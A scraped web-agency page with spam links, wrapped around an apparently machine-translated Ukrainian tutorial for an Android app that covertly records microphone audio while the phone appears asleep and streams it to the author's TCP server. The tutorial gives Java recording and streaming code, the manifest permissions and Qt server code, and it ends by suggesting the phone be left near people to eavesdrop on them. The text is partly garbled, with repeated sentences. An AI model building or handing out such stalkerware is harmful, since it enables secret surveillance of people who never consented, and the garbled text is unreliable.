Разработка сайта для Вашего бизнеса. Веб дизайн. Дизайн логотипа, фирменного стиля, рекламная фотография . Комплексный рекламный креатив.

Ralex. We do the work.
На рынке с 1999го года. Средняя ценовая категория. Ориентация на эффективность решений.
Ознакомтесь с нашим портфолио
Узнайте больше о услугах
Свяжитесь с нами:
E-mail: [email protected]
Tel: (044) 587 - 84 - 78
Custom web design & дизайн и разработка сайта "под ключ"
Креативный, эффективный дизайн. Система управления сайтом (СУС).
Custom flexible разработка систем электронной коммерции
Система e-commerce разрабатывается под индивидуальные потребности. Гибкая функциональность.
Search Engine Optimzation & оптимизация под поисковые системы (SEO)
Постоянная оптимизация и мониторинг сайта в поисковых системах. Достигаем результата быстро и эффективно
Custom logo design & дизайн логотипа и фирменного стиля
Многолетний опыт. Огромное портфолио. Уникальное предложение и цена.
профессиональная рекламная фотография
креативно, смело, качественно
Custom logo design & рекламный креатив. дизайн рекламы
Многолетний опыт. Огромное портфолио. Уникальное предложение и цена.

Передаємо звук зі «сплячого» смартфона на сервер

  1. Виключно в освітніх цілях!

Наша взаимовыгодная связь https://banwar.org/

Про те, що стоїть в твоїй кімнаті традиційний телефон з акуратно лежить на ньому трубкою все одно може за тобою шпигувати, відомо мало не з часів А. Г. Белла. Смартфони просунулися по цій слизькій доріжці значно далі. А як все це виглядає з програмної точки зору?

У цій статті ми розглянемо програму, встановлену на телефоні з операційною системою Android, яка без палева передає дані на сервер, встановлений на персональному комп'ютері. Для вирішення поставленого завдання нам буде потрібно кілька речей. В першу чергу це бажання, а потім такі дрібниці, як телефон (з операційною системою Android), комп'ютер та інтернет. Почнемо з розробки алгоритму взаємодії клієнта і сервера.

Виключно в освітніх цілях!

Автор і редакція нагадують, що вся представлена ​​в статті інформація опублікована виключно в освітніх цілях. Зрештою, запис аудіо і передача його на сайт - завдання не рідкісна, потрібна і монетизованими в самих звичайних додатках. Чи не порушуй закон!

Всі операції обміну даними між клієнтом і сервером відбуватимуться по протоколу TCP / IP. У зв'язку з тим що все взаємодії являють собою пересилання послідовності байт від клієнта до сервера або навпаки, необхідно розробити формат відправляються пакетів даних. Крім безпосередньо даних, будемо також передавати додаткову інформацію, а саме розмір пакета і ідентифікатор команди.

Нижче описана розроблена система команд між клієнтом і сервером. Всі команди передаються побайтово в наступному форматі:

<Розмір пакета (4 байта)> <Ідентифікатор команди (4 байта)> [<Додаткові дані>]

команди:

  • 0 - успішно виконано;
  • -1 - сталася помилка;
  • 1 - підключення клієнта;
  • 2 - початок запису;
  • 3 - відправка записаного AAC-файла;
  • 4 - відправка записаного WAV-файлу;
  • 5 - потокова передача даних;
  • 6 - потокова передача WAV-заголовка.

Для початку давай запитаємо себе, а що повинен робити клієнт. У нашому випадку необхідно, щоб телефон записував звук у фоновому режимі, після чого непомітно для користувача відправляв файл зі звуком на сервер. Причому починати запис телефон буде тільки з того моменту, як користувач натисне кнопку записи, а загальний час запису задає сам користувач в налаштуваннях програми. Отже, завдання поставлене, необхідно знайти її рішення. На борту нашого клієнт-телефону встановлена ​​операційна система Android. З цього очевидний вибір мови програмування - їм стає Java.

Для написання клієнта встановимо на персональний комп'ютер IDE Eclipse і Android SDK . Для роботи даних компонентів необхідний встановлений комплект розробника додатків Java Develovoper Kit . Після налаштування всіх необхідних компонентів підключаємо до комп'ютера телефон (не забуваємо про ОС Android) з включеною можливістю налагодження по USB. Тепер ти готовий кодіть! Створи проект в Eclipse і починай писати програму. Написати клас для підключення до сервера труднощів не складе. Основні поля цього класу: Socket (програмний інтерфейс для забезпечення обміну даними між клієнтом і сервером.), IP (адреса для підключення), Port (параметр протоколів TCP і UDP), потік для прийому даних, потік для передачі даних. Дотримуючись принципів об'єктно-орієнтованого програмування, все поля робимо приватними (private). В цьому класі реалізуємо метод sendPacket () і задаємо його тип synchronized. Synchronized має два важливих моменти: це гарантія того, що тільки один потік виконує секцію коду в один момент часу, а дані, змінені одним потоком, будуть видні всім іншим потокам. У методі sendPacket () при відправці даних створюємо блок обробки винятків. Якщо виникає виняток, інформацію про нього записуємо в лог і закриваємо сокет.

Про те, що стоїть в твоїй кімнаті традиційний телефон з акуратно лежить на ньому трубкою все одно може за тобою шпигувати, відомо мало не з часів А

GUI мобільного додатка

Але на цьому не варто зупинятися, потрібно клас для запису даних (звуку) (WavRecorder). Для цього класу необхідно описати:

  • кількість біт на семпл (описуємо у вигляді константи RECORDER_BPP = 16);
  • кількість каналів запису (CHANNEL IN MONO);
  • формат запису (ENCODING PCM 16BIT);
  • прапор, що показує, чи йде в даний момент запис (за замовчуванням false);
  • ідентифікатор пристрою;
  • IP-адреса сервера;
  • номер порту на сервері.

Всі поля класу також робимо приватними.

На цьому можна було б і зупинитися, але існує одна проблема: користувачеві необхідно буде натиснути на кнопку «Відправити файл» після запису, а це не самий логічний варіант для прихованого збору даних. Для передачі даних в режимі безперервної відправки на сервер напишемо клас WavStreamer. Основою цього класу є метод run () (виконується в окремому потоці). Будемо використовувати його для запису звуку і відправки даних на сервер - для подальшого зберігання або обробки. Для потокової передачі звуку створимо «динамічний» буфер, в нього будуть записуватися наші дані з мікрофона.

public void run () {try {// Підключення до сокету, отримання вихідного потоку даних, відправка ідентифікатора пристрою} catch (IOException e) {// Обробка можливих помилок і запис їх в лог} byte data [] = new byte [bufferSize] ; // Створення буфера while (isRecording) {read = recorder.read (data, 0, bufferSize); // Читання даних з мікрофона в буфер if (AudioRecord.ERROR_INVALID_OPERATION! = Read) {totalDataSize + = data.length; sendPacket (PackageType.client_send_data, data); // Відправка буфера на сервер}} closeSocket (); // Закриття з'єднання з сервером}

Докладний код ти можеш подивитися у файлі WavStreamer.java. Для самого простого клієнта цих класів і методів буде досить. Створимо екземпляр Socket'a і будемо коннектіться до сервера (про який мова піде далі). У разі вдалого приєднання до сервера програма очікує подальших вказівок користувача про необхідність записи. Якщо з'єднання не встановлено, користувач повинен бути проінформований про це (в нашому випадку помилкою з'єднання). Якщо ми хочемо почати запис, то клієнт повинен повідомити про це сервера. Клієнт відправляє пакет даних, в якому є якийсь код. За цим кодом наш сервер розуміє, що клієнт почав запис. Для старту запису звуку в програмі створюється потік WavRecorder. Цей потік записує звукові дані з мікрофона клієнта-телефону. Для подальшого відкриття записаного файлу в аудіопрогравачі необхідно записати заголовок, який складається з певним чином сформованої послідовності даних (байт).

схема взаємодії

Дана послідовність являє собою певним чином створений байтовий масив. Подібний масив описується в багатьох інтернет-джерелах, якщо тобі не хочеться шукати його на просторах глобальної мережі, то можеш подивитися в исходниках (він розташований в файлі WavStreamer.java).

Здавалося б, все повинно працювати ... Але виникає питання: чому не працює? Так як ми користувалися функціями інтернету і запису аудіо, необхідно повідомити віртуальної Java-машині Dalvik про те, що наш додаток користується цими системними функціями. Давай заглянемо в файл AndroidManifest.xml і додамо в нього такі рядки:

// Доступ в інтернет <uses-permission android: name = "android.permission.INTERNET" /> // Запис звуку з мікрофону <uses-permission android: name = "android.permission.RECORD_AUDIO" />

Після цього Java-машина надасть доступ до запитуваною системних функцій, описуваних в маніфесті.

Після додавання деяких елементів інтерфейсу наш клієнт повністю готовий, і можна переходити до написання сервера.

Як і у випадку з клієнтом, задамося питанням: що повинен робити сервер? Виходячи із завдань самого клієнта, сервер повинен мати можливість отримувати дані від клієнтів. Дані кожного клієнта будуть перебувати в різних папках і не будуть перетинатися з даними інших користувачів. Сервер напишемо на мові C ++ з використанням фреймворку Qt5 ( http://qt-project.org/downloads ).

Qt - крос-платформний інструментарій розробки ПЗ. Він включає в себе всі основні класи, які можуть знадобитися при розробці прикладного програмного забезпечення, починаючи від елементів графічного інтерфейсу і закінчуючи класами для роботи з мережею, базами даних і XML.

Одну з основних особливостей Qt становить повсюдне застосування концепції сигналів і слотів, що використовуються для взаємодії між об'єктами. За своєю суттю слот - це метод класу, який викликається, коли відбувається будь-яка подія (сигнал). Це сильно полегшує розробку графічних інтерфейсів або роботу з мережею. Досить підписатися на якийсь сигнал, який генерує сам Qt або один з класів програми, і потрібна функція-обробник буде автоматично викликана при його настанні.

Досить підписатися на якийсь сигнал, який генерує сам Qt або один з класів програми, і потрібна функція-обробник буде автоматично викликана при його настанні

Повідомлення під час активної записи

Тепер перейдемо до опису структури сервера. Основним класом сервера є MyServer, який інкапсулює в собі об'єкт типу QTcpServer, що відповідає за мережеву взаємодію. MyServer на вхід подається номер порту і IP, на якому буде працювати QTcpServer. В обов'язки даного класу входить управління новими сполуками і перенаправлення підключених клієнтів на інший клас. Для початку запустимо QTcpServer, передавши йому вхідні дані, і встановимо обробник (слот) на сигнал типу newConnection (). Цей сигнал генерується об'єктом класу QTcpServer при появі нового з'єднання. У разі успішного запуску сервер переходить в режим сканування порту. Оброблювач нових підключень передає завдання по зчитуванню даних, що надходять на об'єкт типу User.

void MyServer :: connection () {from = server -> nextPendingConnection (); User * client = new User; connect (from, SIGNAL (readyRead ()), client, SLOT (getMessage ())); }

Клас User за допомогою функції getMessage () обробляє дані, що надходять і викликає відповідну функцію для обробки запиту від клієнта.

void User :: getMessage () {static qint32 size_msg = 0, cmd; from = (QTcpSocket *) sender (); if ((from -> bytesAvailable ()> 0 && size_msg) || (from -> bytesAvailable ()> 2 * sizeof (qint32))) {QDataStream getm (from); if (size_msg == 0) {getm >> size_msg >> cmd; size_msg - = sizeof (qint32); buf.clear (); } Qint8 ch; while (! getm.atEnd () && size_msg> 0) {--size_msg; getm >> ch; buf.append (ch); } If (size_msg <= 0 && point_func.find (cmd)! = Point_func.end ()) bool r = (this -> * point_func [cmd]) (); buf.clear (); getMessage (); }}

Для кожного клієнта створюється новий каталог, в який записуються файли клієнта. Таким чином, два клієнта не матимуть можливість записувати дані в один і той же каталог. Файли, що зберігаються на сервері, можуть бути відкриті з використанням будь-якого аудіоплеєра (для прикладу був використаний VLC media player ( https://www.videolan.org )), Який підтримує відтворення файлів формату WAV.

При бажанні можна додати різні фічі в цей проект. Один з варіантів подальшого розвитку - це сервер, що знаходиться не на комп'ютері користувача, а де-небудь в хмарі. Крім «хмарного сервера», можна створити облікові дані користувача - один і той же людина може здійснювати запис звуку з різних телефонів. Але зберігати дані в різних папках йому буде незручно.

Вирішити цю проблему здатна обліковий запис користувача. При введенні своїх даних користувач зможе додавати файли з телефону іншої людини в свій каталог. Правда, реалізація даних нововведень привносить і нові завдання. При створенні системи облікових записів необхідно зберігати базу даних клієнтів, з їх логінами і паролями. Причому ця база даних повинна бути добре захищена. Адже нікому не хочеться, щоб його файли були всім доступні :).

У випадку з «хмарним сервером» виникає проблема доступу до даних, отриманих з мобільного пристрою. Вирішити цю проблему можна шляхом створення спеціального клієнта-адміністратора, який отримує доступ до даних під конкретної обліковим записом і тільки під нею. Захист звукових даних користувача насамперед!

Поставлена ​​нами на початку статті мета досягнута. Тепер, запустивши нашу програму і «випадково» залишивши десь телефон, ти дізнаєшся про те, що за спиною говорять про тих, хто залишає свій дорогий смартфон без нагляду :). При цьому телефон для всіх оточуючих знаходиться в сплячому режимі, а файлів із записаним звуком на ньому не буде.

А як все це виглядає з програмної точки зору?
Але виникає питання: чому не працює?
Як і у випадку з клієнтом, задамося питанням: що повинен робити сервер?
Категории
  • Биология
  • Математика
  • Краеведению
  • Лечебная
  • Наука
  • Физике
  • Природоведение
  • Информатика
  • Новости

  • Новости
    https://banwar.org/
    Наша взаимовыгодная связь https://banwar.org/. Запустив новый сайт, "Пари Матч" обещает своим клиентам незабываемый опыт и возможность выиграть крупные суммы.


    Наши клиенты
    Клиенты

    Быстрая связь

    Тел.: (044) 587-84-78
    E-mail: [email protected]

    Имя:
    E-mail:
    Телефон:
    Вопрос\Комментарий: